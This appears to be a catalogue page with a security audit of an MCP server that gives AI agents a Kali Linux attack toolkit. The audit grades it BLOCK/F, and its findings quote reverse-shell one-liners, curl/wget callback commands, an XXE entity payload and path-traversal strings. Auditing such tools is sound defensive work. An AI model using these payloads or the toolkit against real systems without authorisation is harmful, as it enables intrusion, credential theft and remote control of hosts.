ModelsAtlas
Explore
Atlas / MCP servers / zebbern / Kali

KaliBLOCK

mcp/zebbern/kali-2
MCP server by zebbern · ai agents · ai agents mcp · ai mcp · Audited 2026-10-08
⚑ Report / re-scanSource ↗

MCP server for Kali toolkit (docker) - 121 tools for AI-assisted security testing give agents access to all it needs!

Verdict
BLOCK
Grade
F
Trust score
46 /100
Exposed tools
135 102r · 27w · 6d
Transport
—
License
MIT
Stars
48
01

Overview

From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.

Give an AI agent a full Kali Linux toolkit without installing one. The MCP client runs on your machine as a small Python package; every tool executes inside a Kali container that the client reaches over HTTP. Nmap, sqlmap, nuclei, impacket, Metasploit, pivoting, VPN and callback capture are all exposed as MCP tools.

[](LICENSE) [](https://www.python.org) []() [](https://hub.docker.com/r/kalilinux/kali-rolling)

Quick start · Essentials (jobs, files, VPN, targets) · Configuration · Troubleshooting · Tool modules · Image contents · Security · Development

Quick start

1. Start the Kali backend

docker run -d --name zebbern-kali --restart unless-stopped \
-p 127.0.0.1:5000:5000 \
--cap-add=NET_ADMIN --cap-add=NET_RAW --device=/dev/net/tun \
ghcr.io/zebbern/zebbern-kali-mcp:latest

NET_ADMIN, NET_RAW and /dev/net/tun are what OpenVPN and WireGuard need; without them vpn_connect fails whatever the config says. Add any of these flags for full parity with the Compose file:

  • -p 127.0.0.1:1080:1080 — published SOCKS proxy
  • --sysctl net.ipv4.ip_forward=1 — pivoting and routing
  • --shm-size=1g — headless Chrome; without it gowitness writes no screenshot
  • -v zebbern-kali-tmp:/app/tmp — keep background-job logs across recreates
  • -v "$(pwd)/vpn:/vpn:ro" — VPN configs from the host

From a source checkout, Compose does all of the above:

git clone https://github.com/zebbern/zebbern-kali-mcp.git
cd zebbern-kali-mcp
docker compose up -d           # add --build to build the image locally

2.

Read from source at commit 4c3dfff4cd4dOBSERVED · 2026-10-08
Advertisement
02

Connect

Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.

claude-code
claude mcp add zebbern-kali-mcp --env KALI_API_TOKEN=${KALI_API_TOKEN} -- uvx zebbern-kali-mcp
claude-desktop
{
  "mcpServers": {
    "zebbern-kali-mcp": {
      "command": "uvx",
      "args": [
        "zebbern-kali-mcp"
      ],
      "env": {
        "KALI_API_TOKEN": "${KALI_API_TOKEN}"
      }
    }
  }
}
03

Exposed tools (135)

102 read · 27 write · 6 destructive. Blast radius: 6 tools can delete or overwrite — an agent that can be talked into calling a tool can be talked into calling this one.

ToolRiskDescription
ad_asreproastread
ad_bloodhound_collectread
ad_kerberoastread
ad_ldap_enumread
ad_password_sprayread
ad_psexecread
ad_secretsdumpread
ad_smb_enumread
ad_tools_statusreadCheck which AD tools are available on the Kali server.
ad_wmiexecread
api_auth_bypass_testread
api_ffuf_fuzzread
api_fuzz_endpointread
api_graphql_fuzzread
api_graphql_introspectread
api_jwt_analyzeread
api_jwt_crackread
api_kiterunner_scanread
api_newman_runwrite
api_nuclei_scanread
api_rate_limit_testread
callback_checkread
callback_cleardestructive
callback_generateread
callback_latestread
callback_listread
callback_startwrite
callback_statusread
callback_stopwrite
callback_waitread
ctf_connectread
ctf_download_fileread
ctf_get_challengeread
ctf_list_challengesread
ctf_scoreboardread
ctf_statusreadCheck current CTF platform connection status.
ctf_submit_flagwrite
cve_package_auditread
cve_searchread
exec_streamwrite
exploit_copyread
exploit_detailsread
exploit_searchread
exploit_suggest_for_serviceread
exploit_suggest_from_nmapread
fingerprint_headersread
fingerprint_urlread
fingerprint_wafread
healthread
hosts_addwrite
hosts_cleardestructive
hosts_listread
hosts_removedestructive
job_cancelreadCancel a running background job and its child process group.
job_listreadList background jobs the Kali server still tracks, newest first.
job_outputreadPoll recent bounded stdout and stderr from a background job.
job_statusreadReturn state and exit metadata for a background command job.
kali_downloadread
kali_uploadwrite
msf_session_createwrite
msf_session_destroydestructive
msf_session_destroy_alldestructiveDestroy all active Metasploit sessions.
msf_session_executewrite
msf_session_listreadList all active Metasploit sessions.
parse_tool_outputread
payload_generateread
payload_host_startwrite
payload_host_stopwriteStop the payload hosting server.
payload_listreadList all generated payloads.
payload_one_linerread
payload_templatesread
pivot_add_pivotwrite
pivot_chisel_clientread
pivot_chisel_serverread
pivot_generate_proxychainsread
pivot_ligolo_startwrite
pivot_list_pivotsreadList all configured pivot points/routes.
pivot_list_tunnelsreadList all active tunnels and port forwards.
pivot_removedestructive
pivot_socat_forwardread
pivot_ssh_dynamicread
pivot_ssh_localread
pivot_ssh_remoteread
pivot_stop_all_tunnelswriteStop all active tunnels and port forwards.
pivot_stop_tunnelwrite
read_outputread
reverse_shell_commandread
reverse_shell_download_contentread
reverse_shell_generate_payloadread
reverse_shell_listener_startwrite
reverse_shell_read_outputread
reverse_shell_send_inputwrite
reverse_shell_send_payloadwrite
reverse_shell_statusread
reverse_shell_stopwrite
reverse_shell_upload_contentwrite
send_inputwrite
ssh_estimate_transferwrite
ssh_session_commandread
ssh_session_download_contentread
ssh_session_startwrite
ssh_session_statusread
ssh_session_stopwrite
ssh_session_upload_contentwrite
ssh_sessionsreadList all active SSH sessions.
system_network_inforead
target_download_fileread
target_upload_filewrite
tools_amassread
tools_arjunread
tools_assetfinderread
tools_byp4xxread
tools_crtshread
tools_enum4linuxread
tools_fierceread
tools_gobusterread
tools_gowitnessread
tools_httpxread
tools_hydraread
tools_johnread
tools_katanaread
tools_masscanread
tools_niktoread
tools_nmapread
tools_sqlmapread
tools_ssh_auditread
tools_sslscanread
tools_subfinderread
tools_subzyread
tools_waybackurlsread
tools_wpscanread
vpn_connectread
vpn_disconnectread
vpn_statusread
zebbern_execwrite
04

Trust audit

BLOCKgrade F · trust 46/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.

LayerWhat it checksResult
L0Provenance & inventoryFAIL
L1Static analysis of the codeFAIL
L2Instruction surface (what it tells the agent)PASS
L3Class-specific surfaceWARN
L4Behavioural (sandbox)SKIPPED

What the source does

Filesystem
declared (11 observation(s))
Network
declared (13 observation(s))
Shell
declared (6 observation(s))
Dependencies
not all pinned
Secrets in source
none-found

Findings (25)

HIGHInventory / provenance · inv.suspicious_name · CWE-1104
zebbern-kali/api/blueprints/exploit.py
exploit.py
Why it matters. member named after an attack tool
Fix. remove or justify
HIGHInventory / provenance · inv.suspicious_name · CWE-1104
zebbern-kali/api/blueprints/payload.py
payload.py
Why it matters. member named after an attack tool
Fix. remove or justify
HIGHCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95
zebbern-kali/core/payload_generator.py:269
f"exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
Why it matters. evaluates text as code
Fix. remove; use a parser or a dispatch table
HIGHCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95
zebbern-kali/core/payload_generator.py:275
f"open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\")}};'"
Why it matters. evaluates text as code
Fix. remove; use a parser or a dispatch table
HIGHCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95
zebbern-kali/core/reverse_shell_manager.py:1374
php_payload = f"php -r '$sock=fsockopen(\"{local_ip}\",{local_port});exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
Why it matters. evaluates text as code
Fix. remove; use a parser or a dispatch table
HIGHNetwork egress · net.tls_off · CWE-200, CWE-319
zebbern-kali/core/api_security.py:334
timeout=30, verify=False)
Why it matters. certificate verification is disabled
Fix. leave verification on
HIGHNetwork egress · net.tls_off · CWE-200, CWE-319
zebbern-kali/core/api_security.py:482
verify=False,
Why it matters. certificate verification is disabled
Fix. leave verification on
HIGHNetwork egress · net.tls_off · CWE-200, CWE-319
zebbern-kali/core/api_security.py:561
verify=False
Why it matters. certificate verification is disabled
Fix. leave verification on
MEDIUMNetwork egress · net.beacon_words · CWE-200, CWE-319
zebbern-kali/core/callback_catcher.py:599
callback_url = f"{base_url}/cb/{tag}"
MEDIUMNetwork egress · net.beacon_words · CWE-200, CWE-319
zebbern-kali/core/callback_catcher.py:605
"callback_url": callback_url,
MEDIUMNetwork egress · net.beacon_words · CWE-200, CWE-319
zebbern-kali/core/callback_catcher.py:609
"command": f"curl -s {callback_url}",
MEDIUMNetwork egress · net.beacon_words · CWE-200, CWE-319
zebbern-kali/core/callback_catcher.py:610
"wget": f"wget -q -O- {callback_url}",
MEDIUMNetwork egress · net.beacon_words · CWE-200, CWE-319
zebbern-kali/core/callback_catcher.py:617
f'  <!ENTITY xxe SYSTEM "{callback_url}">\n'
MEDIUMNetwork egress · net.raw_ip · CWE-200, CWE-319
mcp_server.py:25
DEFAULT_KALI_SERVER = os.environ.get("KALI_API_URL", "http://127.0.0.1:5000")
MEDIUMFilesystem / path · mcp.destructive_tools · CWE-22, CWE-59
callback_clear, hosts_clear, hosts_remove, msf_session_destroy, msf_session_destroy_all, pivot_remove
Why it matters. 6 tool(s) can delete or overwrite
Fix. prefer a read-only mode or scoped tokens; the page states the blast radius
LOWInventory / provenance · inv.hidden_file · CWE-1104
.pylintrc
.pylintrc
Why it matters. hidden member outside the usual dotfiles
Fix. review its purpose
LOWInsecure crypto · crypto.weak_hash · CWE-327, CWE-338
zebbern-kali/core/api_security.py:774
token_hash = hashlib.md5(token.encode()).hexdigest()[:8]
LOWFilesystem / path · fs.credential_store · CWE-22, CWE-59
tests/test_pivot_tunnel_wiring.py:114
remote_host="10.1.0.5", remote_port=80, key_file="/root/id_rsa",
Why it matters. touches a credential store
LOWFilesystem / path · fs.credential_store · CWE-22, CWE-59
tests/test_pivot_tunnel_wiring.py:119
assert "-i" in cmd and "/root/id_rsa" in cmd
Why it matters. touches a credential store
LOWFilesystem / path · fs.credential_store · CWE-22, CWE-59
tests/test_session_persistence.py:83
password="SUPERSECRET", key_file="/home/op/id_rsa",
Why it matters. touches a credential store
LOWFilesystem / path · fs.credential_store · CWE-22, CWE-59
tests/test_session_persistence.py:157
assert "/home/op/id_rsa" in raw
Why it matters. touches a credential store
LOWFilesystem / path · fs.credential_store · CWE-22, CWE-59
tests/test_session_persistence.py:174
assert stand_in.key_file == "/home/op/id_rsa"
Why it matters. touches a credential store
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
tests/test_ctf_download.py:143
"Content-Disposition": 'attachment; filename="../../escape.bin"',
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
tests/test_exploit_lookup.py:87
assert es.exploit_suggester._resolve_exploit_path("../../etc/passwd") == ""
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
zebbern-kali/core/api_security.py:289
"path_traversal": ["../../../etc/passwd", "..\\..\\..\\windows\\system32\\config\\sam"],

Gates applied: no_behavioural_pass.

Audited 2026-10-08 · audit v0.4.1 · source sha 4c3dfff4cd4dfull audit observations/trust-audit/mcp-server/zebbern__kali-2.json · Report an issue / request a re-scan
05

Audit history

Every audit this server has had. A grade with a past is a grade somebody is still checking.

DateSourceVerdictGradeScoreChange
2026-10-084c3dfff4cd4dBLOCKF46first audit
06

Questions

What is the Kali MCP server?

MCP server for Kali toolkit (docker) - 121 tools for AI-assisted security testing give agents access to all it needs!

What tools does Kali expose?

135 in total: 102 read-only, 27 that write, and 6 that can delete or overwrite (callback_clear, hosts_clear, hosts_remove, msf_session_destroy, msf_session_destroy_all). Every one is listed on this page with its risk.

Is Kali safe to connect to an agent?

No — not without reading the findings first. The audit graded it F (46/100) and found 8 critical or high issues in the source. Each one is listed on this page with the file and line it is on. Separately from the audit: 6 of its tools can destroy data, so scope the token you give it to what you actually need.

What credentials does Kali need?

It reads KALI_API_TOKEN from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.

How current is this page?

The grade is for one exact copy of the source (4c3dfff4cd4d), read on 2026-10-08. The repository is watched and re-audited when it changes.

Advertisement